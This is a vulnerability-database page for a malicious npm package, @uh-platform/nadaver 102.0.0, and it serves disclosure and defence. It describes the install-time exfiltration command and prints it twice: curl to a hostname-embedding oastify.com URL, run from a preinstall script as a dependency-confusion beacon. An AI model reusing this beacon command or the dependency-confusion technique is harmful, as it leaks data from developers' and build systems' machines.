Vulnerability-Lookup

MAL-2026-16360

Vulnerability from ossf_malicious_packages

Published

2026-09-21 18:56

Modified

2026-09-21 18:56

Summary

Malicious code in @uh-platform/nadaver (npm)

Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (66c8fbea9d97af1bd5c48147e744ff5e0feaded686c613591e7defd2f75e2e17)

On npm install, the package's preinstall script executes node index.js, which shells out curl to http://$(hostname).nadaver.pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/, embedding the installer machine's hostname as a subdomain of an attacker-controlled Burp Collaborator (oastify.com) endpoint. Both DNS resolution and the HTTP request leak the installer's hostname to the attacker on every install, with no user interaction. The @uh-platform scope combined with an unusually high version number (102.0.0) is consistent with a dependency-confusion beacon aimed at internal build systems that resolve the scope against the public npm registry.

CWE

CWE-506 - The product contains code that appears to be malicious in nature.

Credits

Amazon Inspector inspector-research@amazon.com

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "cwes": [
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          }
        ],
        "indicators": {
          "evidence_files": [
            {
              "path": "index.js",
              "sha256": "62aad3970128b9f299cbace594102ba0082fc76e232f195be9593a9aa29581fa",
              "tlsh": "78e07d1449f9543632a29455fd2e981e76479902113ff6876dcfa71417c0948c41d2da"
            }
          ],
          "package_integrity": [
            {
              "filename": "nadaver-102.0.0.tgz",
              "hashes": {
                "sha1": "6b06e8b66a1c528097c6bf333b25bf61c755d122",
                "sha512_sri": "sha512-cbnhLc1pmjlP1DRoe05KsEcNdCJQYPjybyGfYfDtAzj46sFuO8MpI+zbPg6lGqenU801q/SndNCVUcXUcBJlvQ=="
              }
            }
          ]
        }
      },
      "package": {
        "ecosystem": "npm",
        "name": "@uh-platform/nadaver"
      },
      "versions": [
        "102.0.0"
      ]
    }
  ],
  "credits": [
    {
      "contact": [
        "inspector-research@amazon.com"
      ],
      "name": "Amazon Inspector",
      "type": "FINDER"
    }
  ],
  "database_specific": {
    "malicious-packages-origins": [
      {
        "id": "IN-MAL-2026-020271",
        "import_time": "2026-09-21T19:15:00.038167027Z",
        "modified_time": "2026-09-21T18:56:37Z",
        "sha256": "66c8fbea9d97af1bd5c48147e744ff5e0feaded686c613591e7defd2f75e2e17",
        "source": "amazon-inspector",
        "versions": [
          "102.0.0"
        ]
      }
    ]
  },
  "details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (66c8fbea9d97af1bd5c48147e744ff5e0feaded686c613591e7defd2f75e2e17)\nOn npm install, the package\u0027s preinstall script executes `node index.js`, which shells out `curl` to `http://$(hostname).nadaver.pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/`, embedding the installer machine\u0027s hostname as a subdomain of an attacker-controlled Burp Collaborator (oastify.com) endpoint. Both DNS resolution and the HTTP request leak the installer\u0027s hostname to the attacker on every install, with no user interaction. The `@uh-platform` scope combined with an unusually high version number (102.0.0) is consistent with a dependency-confusion beacon aimed at internal build systems that resolve the scope against the public npm registry.\n",
  "id": "MAL-2026-16360",
  "modified": "2026-09-21T18:56:37Z",
  "published": "2026-09-21T18:56:37Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/@uh-platform/nadaver/v/102.0.0"
    }
  ],
  "schema_version": "1.7.4",
  "summary": "Malicious code in @uh-platform/nadaver (npm)"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted